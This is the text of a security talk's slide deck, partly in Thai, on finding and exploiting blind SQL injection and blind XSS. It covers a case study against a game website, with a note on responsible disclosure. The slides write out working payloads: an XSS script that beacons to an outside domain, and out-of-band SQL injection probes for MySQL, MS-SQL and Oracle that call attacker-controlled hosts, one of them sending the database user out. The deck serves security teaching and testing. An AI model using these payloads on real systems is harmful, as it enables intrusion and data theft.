59
Exploiting Blind Vulnerabilities A tale of webapp security wizard Pichaya Morimoto IT Security Consultant, SEC Consult (Thailand) Co.,Ltd. GIAC Web Application Penetration Tester Certified

Exploiting Blind Vulnerabilities

Embed Size (px)

Citation preview

Page 1: Exploiting Blind Vulnerabilities

Exploiting Blind VulnerabilitiesA tale of webapp security wizard

Pichaya MorimotoIT Security Consultant, SEC Consult (Thailand) Co.,Ltd.

GIAC Web Application Penetration Tester Certified

Page 2: Exploiting Blind Vulnerabilities

Pichaya MorimotoIT Security ConsultantSEC Consult (Thailand) Co., Ltd.

whoami

สอนแฮกเว็บแบบแมวๆ

https://www.facebook.com/longhackzhttps://www.youtube.com/user/pich4ya

Page 3: Exploiting Blind Vulnerabilities

Hacking Competition (Pwnladin Team)

Page 4: Exploiting Blind Vulnerabilities

Security Advisories

Page 6: Exploiting Blind Vulnerabilities

Public Exploits

Page 7: Exploiting Blind Vulnerabilities

SEC Consult - Who we are

Page 8: Exploiting Blind Vulnerabilities

★ Advisor for information security

★ Expert for the implementation of security processes and policies (ISO 27001, BS 25999, GSHB)

★ Leading company for technical security audits

★ Specialist for web application security according to ONR 17700

★ Independent of product manufacturers

★ Our customers are public authorities, financial institutions and insurance companies in Central Europe

★ Sectoral orientation (defence, public, finance, industry)

SEC Consult - Who we are

Page 9: Exploiting Blind Vulnerabilities

entire company within certification scope

certified since 16.01.2008

ISO/IEC 27001 Certificate

Page 10: Exploiting Blind Vulnerabilities

SEC Consult Vulnerability Lab

European leading research lab for the identification of vulnerabilities and the analysis of new technologies, products and applications (security advisories)

Integral part of the education and the further training of the security experts at SEC Consult

Early information of our customers due to SEC Consult security alerts

Support of well-known manufacturers to enhance the security of their products

Companies and organisations SEC Consult has released security advisories for (excerpt). For details see: http://www.sec-consult.com/72.html

Page 11: Exploiting Blind Vulnerabilities

Contact SEC Consult

Page 12: Exploiting Blind Vulnerabilities

★ Vulnerabilities and Exploits★ Blind Vulnerabilities★ Exploitation Techniques★ Setup Environment★ Demo

Overview

Page 13: Exploiting Blind Vulnerabilities

Network

Application Level

OS

Application

Web App

www.facebook.com

System: Facebook (Simplified version)

Page 14: Exploiting Blind Vulnerabilities

Attack Surface

Web as an Attack Surface:- User Input

- HTTP Header- HTTP Body

- Control Flow- Abuse path of

web execution

Page 15: Exploiting Blind Vulnerabilities

Vulnerabilities

OWASP Top 10 for 2013:★ A1 Injection★ A2 Broken Authentication and Session Management★ A3 Cross-Site Scripting (XSS)★ A4 Insecure Direct Object References★ A5 Security Misconfiguration★ A6 Sensitive Data Exposure★ A7 Missing Function Level Access Control★ A8 Cross-Site Request Forgery (CSRF)★ A9 Using Components with Known Vulnerabilities★ A10 Unvalidated Redirects and Forwards

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Page 16: Exploiting Blind Vulnerabilities

SQL Injection

Page 17: Exploiting Blind Vulnerabilities

SQL Injection

Page 18: Exploiting Blind Vulnerabilities

SQL Injection

SELECT text, description FROM news WHERE description LIKE '%let's go%'

SELECT text, description FROM news WHERE description LIKE '%let's go%'

Page 19: Exploiting Blind Vulnerabilities

SQL Injection: UNION

Page 20: Exploiting Blind Vulnerabilities

Non-blind Vulnerability

YOU ARE NOT BLIND !สามารถนําขอมูลออกมาไดโดยตรงบนหนาเว็บ

Page 21: Exploiting Blind Vulnerabilities

sqlite_master.sql

Page 22: Exploiting Blind Vulnerabilities

SQL Injection: UNION

Page 23: Exploiting Blind Vulnerabilities

SQL Injection: UNION

PWNED

Page 24: Exploiting Blind Vulnerabilities

แลวถา...

ขอมูลที่ SELECT ออกมาไมไดถูกนําไปแสดง หรือเปน SQL query แบบ..

- UPDATE- INSERT- DELETE- อื่น ๆ ที่ไมไดแสดงผลลัพธ

Page 25: Exploiting Blind Vulnerabilities

Introduction to BLIND Vulnerabilities

Page 26: Exploiting Blind Vulnerabilities

Case Study: TreeOfSavior.com

Page 27: Exploiting Blind Vulnerabilities

การแฮกเจาะระบบเขาไปในระบบใด ๆ ที่เจาของระบบไมอนุญาติ ใหเราทดสอบระบบ เปนสิ่งผิดกฏหมาย ทําแลวอาจติดคุกหรือโดนปรับ เปนคดีอาญายอมความไมได

Legal Warning: คําเตือน

Page 28: Exploiting Blind Vulnerabilities

April 26, 2016: ตอนเชา

Page 29: Exploiting Blind Vulnerabilities

April 26, 2016 : ตอนเที่ยงวัน...

Page 30: Exploiting Blind Vulnerabilities

April 26, 2016 : ตอนเที่ยงคืน...

Page 31: Exploiting Blind Vulnerabilities

April 27, 2016 : ตี 1

Page 32: Exploiting Blind Vulnerabilities

BLIND SQL Injection: Probe

aaaaa' or (1=1) or 'bbbbbb

Page 33: Exploiting Blind Vulnerabilities

BLIND SQL Injection: Probe

aaaaa' or (1=2) or 'bbbbbb

Page 34: Exploiting Blind Vulnerabilities

BLIND SQL Injection: Probe

aaaaa' order by contentz-- -

Page 35: Exploiting Blind Vulnerabilities

BLIND SQL Injection: Probe

aaaaa' order by content-- -

Page 36: Exploiting Blind Vulnerabilities

BLIND SQL Injection: Exploit

★ information_schema

★ mysql★ performance_schema★ sys★ test★ tos_wiki

★ treeofsavior

SQLMapEZ EZ Script Kiddy!

Page 37: Exploiting Blind Vulnerabilities

Responsible Disclosure 101

Page 38: Exploiting Blind Vulnerabilities

Responsible Disclosure 101

Page 39: Exploiting Blind Vulnerabilities

ชองโหวอะไรอีกที่โจมตีแบบ Blind ได?

Page 40: Exploiting Blind Vulnerabilities

Cross-Site Scripting (XSS)

โชวคาที่รับมาจาก user input บนหนา HTML

Page 41: Exploiting Blind Vulnerabilities

Cross-Site Scripting (XSS)

http://127.0.0.1:1234/hello.php?name=<script>alert("let do something evil")</script>

Page 42: Exploiting Blind Vulnerabilities

ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ

Blind XSS?

Page 43: Exploiting Blind Vulnerabilities

ไมเห็นโดยตรง ก็ตองหาทางเห็นแบบออม ๆ ไปแทน..

How to Find Generic Blind Vulns

Exploit Payload ที่มีการทํา outbound

connection

เครื่องที่ถูกโจมตี รันโคดจาก exploit เพื่อทําอะไร

บางอยางใหคนโจมตีรูวาการโจมตีนั้นไดผล

ผูโจมตีไดรับขอมูลบางอยาง เพื่อพิสูจนไดวา ชองโหวที่

exploit ไปสําเร็จ

1

2

3

Page 44: Exploiting Blind Vulnerabilities

ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ HTTP Request !

Blind XSS

"><script>new Image().src="http://p7z.pw/xss1/?a=1337"</script>

Page 45: Exploiting Blind Vulnerabilities

ชองโหวที่มองไมเห็นไดดวยตา แตสัมผัสไดดวยใจ HTTP Request !

Blind XSS

IP คนโดน XSS IP เซิรฟเวอรรอรับผล

$ tail -n 1 /var/log/apache2/access.log[IP คนโดน XSS] - - [17/Jun/2016:18:38:30 -0400] "GET /xss1/?a=1337 HTTP/1.1" 404 492 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"

Page 46: Exploiting Blind Vulnerabilities

ไมเห็นโดยตรง ก็ตองหาทางเห็นแบบออม ๆ ไปแทน..

How to Find Generic Blind Vulns

Exploit Payload ที่มีการทํา outbound

connection

เครื่องที่ถูกโจมตี รันโคดจาก exploit เพื่อทําอะไร

บางอยางใหคนโจมตีรูวาการโจมตีนั้นไดผล

ผูโจมตีไดรับขอมูลบางอยาง เพื่อพิสูจนไดวา ชองโหวที่

exploit ไปสําเร็จ

1

2

3

Page 47: Exploiting Blind Vulnerabilities

A.k.a. Out-of-band (OBB) technique

★ MySQLLOAD_FILE('\\\\sqli1.p7z.pw\\')INTO OUTFILE '\\\\sqli2.p7z.pw\\test.txt'

★ MS-SQLOPENROWSET('SQLOLEDB', 'sqli3.p7z.pw';'a';'b', 'SELECT 1')EXEC master..xp_dirtree '\\sqli4.p7z.pw\' --

★ Oracle UTL_HTTP.request('sqli5.p7z.pw/?a='||(SELECT user FROM DUAL)

Probe for Blind SQL Injection

ที่มา: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

Page 48: Exploiting Blind Vulnerabilities

★ ICMP Ping Request - 3 กะโหลก★ HTTP Request - 4 กะโหลก★ NBNS Request - 1 กะโหลก★ FTP Login - 2 กะโหลก★ DNS Resolution - 5 กะโหลก

Outbound Traffic

Page 49: Exploiting Blind Vulnerabilities

★ ตองมี IP จริง เขาถึงไดจากอินเทอรเน็ต★ ควรจะเปนเครื่อง Linux สะดวกกวา Windows★ จด domain มาใชดวยจะดีมาก (ดูกันตอวาทําไม)★ ควรเปนเครื่องใน network ที่ไมโดน block port

หรือมีการใช proxyใด ๆ ที่แกไขขอมูลเขา-ออก

Setup Server for Testing

Page 50: Exploiting Blind Vulnerabilities

Setup VPS

Page 51: Exploiting Blind Vulnerabilities

1. Install apache22. Install bind9

Setup VPS

Page 52: Exploiting Blind Vulnerabilities

Setup Domain/DNS

ปแรก 200 บาท domain + whois

privacy แลว

ชื่อ domain เอาสั้น ๆ ที่สุดที่จะสั้นได

Page 53: Exploiting Blind Vulnerabilities

Setup Domain/DNS

Page 54: Exploiting Blind Vulnerabilities

Test DNS Resolution

Page 55: Exploiting Blind Vulnerabilities

Pros:★ เซิรฟเวอรทั่วไปมีโปรแกรม ping หางาย★ เร็วและงาย

Cons:★ บางเซิรฟเวอร block ปง!★ ชองโหวที่ไมใช Command Injection ใชไมได

#1 ICMP Ping Request

Page 56: Exploiting Blind Vulnerabilities

Pros:★ ...

Cons:★ บางเซิรฟเวอร block HTTP Outbound ไป untrusted IP !?

#2 HTTP Request

Page 57: Exploiting Blind Vulnerabilities

Pros:★ ไมมีเซิรฟเวอรที่ไหน block DNS

Cons:★ Setup ยุงยากเล็กนอยตอนเริ่ม

#3 DNS Resolution

Page 58: Exploiting Blind Vulnerabilities

DEMO

Find Blind Vuln with DNS Resolution

Page 59: Exploiting Blind Vulnerabilities

Thank you!

FB: สอนแฮกเว็บแบบแมว ๆhttps://fb.com/longhackz